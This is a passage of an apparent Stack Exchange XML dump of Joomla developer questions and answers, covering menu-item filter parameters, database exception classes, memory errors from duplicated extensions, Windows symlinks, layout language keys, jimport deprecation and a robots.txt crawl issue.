option=&quot;View&quot;&amp;gt;&#xA;        &amp;lt;message&amp;gt;&#xA;                        &amp;lt;![CDATA[COM_JOBS_TITLE_LIST_VIEW_JOBSFULL_DESC]]&amp;gt;&#xA;        &amp;lt;/message&amp;gt;&#xA;    &amp;lt;/layout&amp;gt;&#xA;    &amp;lt;!-- Add fields to the request variables for the layout. --&amp;gt;&#xA;    &amp;lt;fields name=&quot;request&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;request&quot;&amp;gt;&#xA;            &amp;lt;field name=&quot;employer&quot;&#xA;              type=&quot;text&quot; &#xA;              hint=&quot;COM_JOBS_FILTER_EMPLOYER_HINT&quot;&#xA;              label=&quot;COM_JOBS_JOBS_EMPLOYER&quot;&#xA;              class=&quot;js-stools-search-string&quot; /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/metadata&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works except, the Menu Item Link the system constructs is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_jobs&amp;amp;view=jobs&amp;amp;employer=Google&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_jobs&amp;amp;view=jobs&amp;amp;filter[employer]=Google&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ok. So I changed the employer field name in default.xml as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;filter[employer]&quot; ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, now, the system is unable to construct the Link for the menu item. I was hoping it would make the following Link but it didn't:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_jobs&amp;amp;view=jobs&amp;amp;filter[employer]=Google&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Moreover, when I save the menu item, the value of the employer field disappears from the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess, what I am missing is an understanding of how Joomla builds the Links for menu items with options. Maybe I need to change the option name from &quot;employer&quot; to &quot;filter[employer]&quot; in some other place as well?&lt;/p&gt;&#xA;" OwnerUserId="13584" LastActivityDate="2019-06-15T17:05:04.300" Title="Create menu item type with filter options" Tags="|menu-item|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24804" PostTypeId="1" AcceptedAnswerId="24807" CreationDate="2019-06-09T15:00:27.710" Score="4" ViewCount="206" Body="&lt;p&gt;Through out the current version of Joomla (3.9.6) I find a mixture of ways that SQL exceptions are handled and I was wondering if anyone could give me some definitive situations where one should be used as opposed to the other?&lt;/p&gt;&#xA;&lt;p&gt;If developing for the latest versions of Joomla should I just always be using JDatabaseExceptionExecuting for my query try catch blocks?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Ref:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;(RuntimeException $e)&lt;/strong&gt; administrator/components/com_redirect/models/link.php line 40&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;(JDatabaseExceptionExecuting $e)&lt;/strong&gt; plugins/system/actionlogs/actionlogs.php line 192&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;Extra Info&lt;/h2&gt;&#xA;&lt;p&gt;For anyone else wanting a bit more info on this subject.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Github link:&lt;/strong&gt; &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/10337&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/pull/10337&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Add and use new database exceptions #10337&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The database API throws a RuntimeException for all error conditions. While it's good that exceptions are thrown, since this class is high in the Exception class chain (it's a direct descendent of Exception and is heavily subclassed by both PHP core and third party libraries) it's a rather generic class and doesn't offer much context about why the error was thrown without parsing the string.&lt;/p&gt;&#xA;&lt;p&gt;This PR creates several contextual Exception classes for the database API and changes it to throw these subclasses instead of the more generic RuntimeException. As all of these new Exception classes all extend RuntimeException there is no B/C break with existing try/catch uses.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h3&gt;There are three JDatabse exception classs that extend RuntimeException&lt;/h3&gt;&#xA;&lt;p&gt;&lt;strong&gt;JDatabaseExceptionUnsupported&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Exception class defining an unsupported database object&lt;/li&gt;&#xA;&lt;li&gt;libraries/joomla/database/exception/unsupported.php&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;JDatabaseExceptionExecuting&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Exception class defining an error executing a statement&lt;/li&gt;&#xA;&lt;li&gt;libraries/joomla/database/exception/executing.php&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;JDatabaseExceptionConnecting&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Exception class defining an error connecting to the database platform&lt;/li&gt;&#xA;&lt;li&gt;libraries/joomla/database/exception/connecting.php&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="53" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2019-06-10T13:23:41.313" Title="(RuntimeException $e) vs (JDatabaseExceptionExecuting $e) for SQL exception handling" Tags="|sql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24805" PostTypeId="2" ParentId="24803" CreationDate="2019-06-09T15:42:37.430" Score="0" Body="&lt;p&gt;It seems that Joomla doesn't like field names with brackets. My workaround was to replace the brackets with their hex codes like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;filter%5Bemployer%5D&quot; ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, this solution is not perfect. When you edit the menu item, the employer field is empty while the filter%5Bemployer%5D link option is still there.&lt;/p&gt;&#xA;" OwnerUserId="13584" LastActivityDate="2019-06-09T15:42:37.430" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24806" PostTypeId="2" ParentId="24803" CreationDate="2019-06-09T16:57:08.837" Score="0" Body="&lt;p&gt;Add &lt;code&gt;filter&lt;/code&gt; field group inside the &lt;code&gt;request&lt;/code&gt; field group:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fields name=&quot;request&quot;&amp;gt;&#xA;    &amp;lt;fieldset name=&quot;request&quot;&amp;gt;&#xA;        &amp;lt;fields name=&quot;filter&quot;&amp;gt;&#xA;            &amp;lt;field&#xA;                name=&quot;employer&quot;&#xA;                type=&quot;text&quot;&#xA;                label=&quot;COM_JOBS_JOBS_EMPLOYER&quot;&#xA;                class=&quot;js-stools-search-string&quot;&#xA;                hint=&quot;COM_JOBS_FILTER_EMPLOYER_HINT&quot;&#xA;            /&amp;gt;&#xA;        &amp;lt;/fields&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-06-09T16:57:08.837" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24807" PostTypeId="2" ParentId="24804" CreationDate="2019-06-09T22:52:56.397" Score="4" Body="&lt;p&gt;The difference between a &lt;strong&gt;RuntimeException&lt;/strong&gt; and a &lt;strong&gt;JDatabaseExceptionExecuting&lt;/strong&gt; is a matter of semantics and inheritance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In PHP, RuntimeException extends the Exception class (the base class -- which before php7, did not provide a Throwable interface).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.php.net/manual/en/class.exception.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.php.net/manual/en/class.exception.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://php.net/manual/en/class.runtimeexception.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://php.net/manual/en/class.runtimeexception.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/JDatabaseExceptionExecuting.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/JDatabaseExceptionExecuting.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extending a class is done to provide specialised handle/details in a way that the original class does not provide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JDatabaseExceptionExecuting is simply a more articulate/dedicated manner of catching an expected kind of exception.  When you know what kind of exception is likely to be generated in a particular portion of code, you can be very deliberate about the how you want to handle it and therefore use the methods within the most appropriate class. Here's what it does:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Exception class defining an error executing a statement&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;getQuery()&lt;/code&gt; is the only method (beyond the constructor) inside the &lt;code&gt;JDatabaseExceptionExecuting&lt;/code&gt; class which extends the &lt;code&gt;RuntimeException&lt;/code&gt; class which extends the &lt;code&gt;Exception&lt;/code&gt; base class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This Stackoverflow page should be a helpful read: &lt;a href=&quot;https://stackoverflow.com/q/41608131/2943403&quot;&gt;https://stackoverflow.com/q/41608131/2943403&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, my advice is to use &lt;code&gt;JDatabaseExceptionExecuting&lt;/code&gt; when endeavouring to catch an exception produced while executing a query statement.  Otherwise, you should use &lt;code&gt;RuntimeException&lt;/code&gt; (or another appropriate class which has been specialised to suit the situation).&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-06-09T23:17:42.083" LastActivityDate="2019-06-09T23:17:42.083" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24809" PostTypeId="1" CreationDate="2019-06-10T16:55:36.303" Score="0" ViewCount="234" Body="&lt;p&gt;I have a problem with a Joomla! site that I did not build.  It is due to memory being exhausted.  When I try to install I get this message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 24576 bytes) in /home/xxxxxx/public_html/libraries/src/Table/Nested.php on line 1340&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm sure it is not a memory issue as I have raised the memory limit (in the hope that I would be able to update Admin Tools and Akeeba Backup at least whilst I troubleshoot).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Previous to this, I had a problem with duplicate IDs in the extensions table.  I manually updated these by using phpMyAdmin to download a CSV and update all the duplicate 0 IDs with incremented numbers.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have disabled any extensions that I don't recognise except Joomla! Core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have reuploaded via FTP all the latest Joomla! files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I look in extensions &gt; Manage, I find multiple copies of things like F0F3 and even templates like Beez and Hathor.  Uninstalling them removes them all, so I'm keen to avoid that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, how can I remove the duplicates?  My guess would be that duplicate extensions would take a lot more memory if all being activated at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see multiple copies of the Akeeba in the extensions table, but I don't see it in the admin menu.  The same with Admin Tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Admin tools plugin does not seem to exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm concerned this is a hacked site if I'm honest.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="12352" LastEditDate="2019-06-10T21:29:44.787" LastActivityDate="2019-06-13T10:07:14.463" Title="Cannot install due to memory being exhausted and duplicated software" Tags="|installation|administration|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="24811" PostTypeId="2" ParentId="23930" CreationDate="2019-06-11T09:04:35.433" Score="1" Body="&lt;p&gt;I found the answer, and thanks to &lt;a href=&quot;https://stackoverflow.com/a/38267651/2943403&quot;&gt;Matthias' answer&lt;/a&gt; and &lt;a href=&quot;https://stackoverflow.com/a/46491362/2943403&quot;&gt;P.T.'s answer&lt;/a&gt; @&#xA;&lt;a href=&quot;https://stackoverflow.com/q/21616431/2943403&quot;&gt;Using mklink command with network drives&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did the second suggestion of the post first:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fsutil behavior set SymlinkEvaluation L2R:1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...so I'm not sure if it will work without it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like he said, just create 2 symlinks in Windows! :D&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mklink /D D:\shareLink \\network\share&#xA;mklink /J D:\junctionLink D:\shareLink&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my case, I created a /D link to a linux server on a local network that the account can access&#xA;and&#xA;created a /J link to that /D link pointing to a htdocs/joomla/pdf&#xA;and all you have to do at the end is to say element - file upload, destination /pdf&#xA;and it works!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If users follow these simple instructions, they can save and retrieve all their files on any server they want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be very, very careful when removing the symbolic links in Windows!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ref: &lt;a href=&quot;https://superuser.com/questions/167076/how-can-i-delete-a-symbolic-link&quot;&gt;https://superuser.com/questions/167076/how-can-i-delete-a-symbolic-link&lt;/a&gt;&#xA;You have to use rmdir for links created with /J, otherwise if you delete them with a &quot;del&quot; key, the directory and its files will be deleted.&lt;/p&gt;&#xA;" OwnerUserId="13161" LastEditorUserId="12352" LastEditDate="2019-06-11T11:17:36.727" LastActivityDate="2019-06-11T11:17:36.727" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24813" PostTypeId="2" ParentId="24803" CreationDate="2019-06-11T14:14:08.543" Score="0" Body="&lt;p&gt;Sharky's answer doesn't seem to work for me. I believe, I found the code where the Link is composed:&#xA;joomla/administrator/components/com_menus/controllers/item.php in the save function at about Line 360++&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is special handling for &quot;request&quot; fields, but I don't see any special handling for a &quot;filter&quot; field group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is likely related to the fact that form field names use brackets and don't seem to support nested brackets. When I name my field &quot;filter[employer]&quot; then the following input element is created:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;jform[request][filter[employer]]&quot;&#xA;id=&quot;jform_request_filter_employer_&quot; value=&quot;&quot;&#xA;class=&quot;js-stools-search-string&quot; placeholder=&quot; - Search Employer - &quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I save the menu item, the value for jform[request][filter[employer]] is properly submitted (as HTTP parameter). The problem must occur when the Joomla server parses the parameter. Haven't yet been able to figure out where that is done.&lt;/p&gt;&#xA;" OwnerUserId="13584" LastActivityDate="2019-06-11T14:14:08.543" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24814" PostTypeId="2" ParentId="22254" CreationDate="2019-06-11T16:22:39.433" Score="3" Body="&lt;p&gt;The layout language key is built like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$key = strtoupper($module . '_LAYOUT_' . $value);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;$module&lt;/code&gt; is the module name (including &lt;code&gt;mod_&lt;/code&gt; prefix) and &lt;code&gt;$value&lt;/code&gt; is the layout name. Example string for &lt;code&gt;mod_tags_popular&lt;/code&gt; module's layout strings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOD_TAGS_POPULAR_LAYOUT_CLOUD=&quot;Cloud&quot;&#xA;MOD_TAGS_POPULAR_LAYOUT_DEFAULT=&quot;Default&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The language key for module layouts provided by templates is built like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$key = strtoupper('TPL_' . $template-&amp;gt;element . '_' . $module . '_LAYOUT_' . $value);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;$template-&amp;gt;element&lt;/code&gt; is the element/name of the template, &lt;code&gt;$module&lt;/code&gt; is the module name (including &lt;code&gt;mod_&lt;/code&gt; prefix) and &lt;code&gt;$value&lt;/code&gt; is the layout name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example string for &lt;code&gt;mod_custom&lt;/code&gt; module's &lt;code&gt;alternative.php&lt;/code&gt; layout in &lt;code&gt;Protostar&lt;/code&gt; template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TPL_PROTOSTAR_MOD_CUSTOM_LAYOUT_ALTERNATIVE=&quot;Alternative&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note, the string must be placed in the &lt;code&gt;.sys.ini&lt;/code&gt; file, e.g. &lt;code&gt;en-GB.tpl_protostar.sys.ini&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2019-06-11T20:48:53.947" LastActivityDate="2019-06-11T20:48:53.947" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24815" PostTypeId="2" ParentId="10457" CreationDate="2019-06-11T20:34:53.513" Score="3" Body="&lt;p&gt;This is a late response but I think it can help to understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;jimport&lt;/code&gt; is the first loader (if we can tell) of Joomla 1.7 to 3.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the definition of the function taken in Joomla 4:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File: &lt;code&gt;\libraries\loader.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Intelligent file importer.&#xA; *&#xA; * @param   string  $path  A dot syntax path.&#xA; * @param   string  $base  Search this directory for the class.&#xA; *&#xA; * @return  boolean  True on success.&#xA; *&#xA; * @since       1.7.0&#xA; * @deprecated  5.0   Classes should be autoloaded.&#xA;                      Use JLoader::registerPrefix()&#xA;                      or JLoader::registerNamespace() to register an autoloader for&#xA; *                    your files.&#xA; */&#xA;function jimport($path, $base = null)&#xA;{&#xA;    return JLoader::import($path, $base);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you can use &lt;code&gt;jimport&lt;/code&gt; until Joomla 5 without problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To respond to the question&lt;/strong&gt;, it's required. If in the version you develop something doesn't work, it's because some classes like &lt;code&gt;JFolder&lt;/code&gt; are not loaded (include() or require(), the classic/old way to load a class on older versions) because there is no need in memory if it is not used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So first use &lt;code&gt;JLoader&lt;/code&gt; on 3.0+ for future compatibility and use old &lt;code&gt;jimport&lt;/code&gt; only on older versions 1.7-3.0 if you can't update to the latest for some reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As say in the documentation for Joomla 3+ :&#xA;Use &lt;code&gt;JLoader::registerPrefix()&lt;/code&gt; or &lt;code&gt;JLoader::registerNamespace()&lt;/code&gt; to register an autoloader for your files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JLoader::register()&lt;/code&gt; works but it is also deprecated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is useful also to register your own libraries.&lt;/p&gt;&#xA;" OwnerUserId="13069" LastEditorUserId="13069" LastEditDate="2019-10-14T14:25:07.030" LastActivityDate="2019-10-14T14:25:07.030" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24816" PostTypeId="1" CreationDate="2019-06-12T08:58:39.470" Score="1" ViewCount="330" Body="&lt;p&gt;&lt;strong&gt;Check the URL&lt;/strong&gt; - no errors &lt;br&gt;&#xA;&lt;a href=&quot;https://www.dach-spengler.eu/sitemap.xml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dach-spengler.eu/sitemap.xml&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://www.dach-spengler.eu/robots.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dach-spengler.eu/robots.txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the google search console, I got the error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Crawl-Anomaly&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Submitted Sitemaps&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Status Successful!&lt;/li&gt;&#xA;&lt;li&gt;Found URLs: 515&lt;/li&gt;&#xA;&lt;li&gt;Sitemap was processed without error&lt;/li&gt;&#xA;&lt;li&gt;View index coverage (Link disabled)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Coverage&lt;/strong&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Excluded: 1 (Crawl anomaly)&lt;/li&gt;&#xA;&lt;li&gt;Examples:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;URL: &lt;a href=&quot;https://www.dach-spengler.eu/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dach-spengler.eu/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Last crawled: 5 Jun 2019&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Test Robots.txt blocking:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Latest version seen on 12/06/2019, 21:40 OK (200)  &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Robots.txt&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sitemap: https://www.dach-spengler.eu/sitemap.xml&#xA;User-agent: *&#xA;Disallow: /administrator/&#xA;Disallow: /bin/&#xA;Disallow: /cache/&#xA;Disallow: /cli/&#xA;Disallow: /components/&#xA;Disallow: /component/&#xA;Disallow: /includes/&#xA;Disallow: /installation/&#xA;Disallow: /language/&#xA;Disallow: /layouts/&#xA;Disallow: /libraries/&#xA;Disallow: /logs/&#xA;Disallow: /media/&#xA;Disallow: /modules/&#xA;Disallow: /plugins/&#xA;Disallow: /templates/&#xA;Disallow: /tmp/&#xA;User-agent: AimySitemapCrawler&#xA;Disallow: /images/sampledata/&#xA;Disallow: *?tmpl=component&amp;amp;print=1*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Inspect URL&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Retrieving data from Google Index…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Coverage – Indexed, though blocked by robots.txt&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Discovery&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sitemaps: N/A&lt;/li&gt;&#xA;&lt;li&gt;Referring page: None detected&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;URL might be known from other sources that are currently not reported&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Crawl&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Last crawl: 4 Jun 2019&lt;/li&gt;&#xA;&lt;li&gt;Crawled as: Googlebot desktop&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Crawl allowed?: No: blocked by robots.txt&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Page fetch: Failed: Blocked by robots.txt&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Indexing&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Indexing allowed?: Yes User-declared&lt;/li&gt;&#xA;&lt;li&gt;canonical N/A&lt;/li&gt;&#xA;&lt;li&gt;Google-selected: canonical: Inspected URL&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Webseite&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;CMS Joomla 3.9.6&lt;/li&gt;&#xA;&lt;li&gt;Akeeba Admin Tools Professional 5.3.2&lt;/li&gt;&#xA;&lt;li&gt;Template: yoo_micasa&lt;/li&gt;&#xA;&lt;li&gt;Server: managed server, 7.2 php, allow_url_include&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Actual result&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error: Crawl-Anomaly&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="13590" LastEditorUserId="13590" LastEditDate="2019-06-13T10:24:05.753" LastActivityDate="2019-06-13T10:24:05.753" Title="Google Search Console Crawl Anomaly in Joomla 3.x" Tags="|joomla-3.6|.htaccess-configuration|search|google|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="24817" PostTypeId="2" ParentId="24809" CreationDate="2019-06-12T11:55:45.517" Score="1" Body="&lt;p&gt;@Eoin If the extensions have been Installed via the normal Joomla process then there should be a manifest file in the /administrator/component/com_customapp that you can start with to rebuild an installation file and do an Export of the SQL Table(s) from the bad environment. &#xA;Create a fresh install of Joomla somewhere and try installing the rebuilt installation file until you get all the bits to make it work and then Import the related tables into the fresh Joomla and I think you should have a workable environment as far as the custom apps go.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-06-12T11:55:45.517" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24819" PostTypeId="2" ParentId="24809" CreationDate="2019-06-13T10:07:14.463" Score="2" Body="&lt;p&gt;I have seen this problem due to a huge session database table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend having a look at the database using phpmyadmin, Sequel Pro or similar.  Have a look at the {prefix}_session table, if it has 10s of thousands of rows or more then it is likely that your problem is caused by this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First step would be to truncate this table, it is safe to do so.  The only negative would be that any currently logged in users would be forced to login again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would hopefully get the site running again.  I'd then recommend installing and activating the core session purge plugin to prevent the issue from recurring. &lt;/p&gt;&#xA;" OwnerUserId="13593" LastActivityDate="2019-06-13T10:07:14.463" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24820" PostTypeId="1" AcceptedAnswerId="24824" CreationDate="2019-06-13T15:48:39.067" Score="1" ViewCount="490" Body="&lt;p&gt;Using Joomla 3.9.8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently migrated from localhost (PHP 7.1.9) to a live server (PHP 7.2)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On localhost my site was installed at &lt;code&gt;localhost/mysote&lt;/code&gt;. On my live server it's installed at &lt;code&gt;dev.example.com/mysite&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I view my site on the live server I see the following notice;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Error&lt;/strong&gt; We have detected that your server is using PHP 5.6.37 which is&#xA;  obsolete and no longer receives official security updates by its&#xA;  developers. The Joomla! Project recommends upgrading your site to PHP&#xA;  7.1 or later which will receive security updates at least until 2019-12-01. Please ask your host to make PHP 7.1 or a later version&#xA;  the default version for your site. If your host is already PHP 7.1&#xA;  ready please enable PHP 7.1 on your site's root and 'administrator'&#xA;  directories – typically you can do this yourself through a tool in&#xA;  your hosting control panel, but it's best to ask your host if you are&#xA;  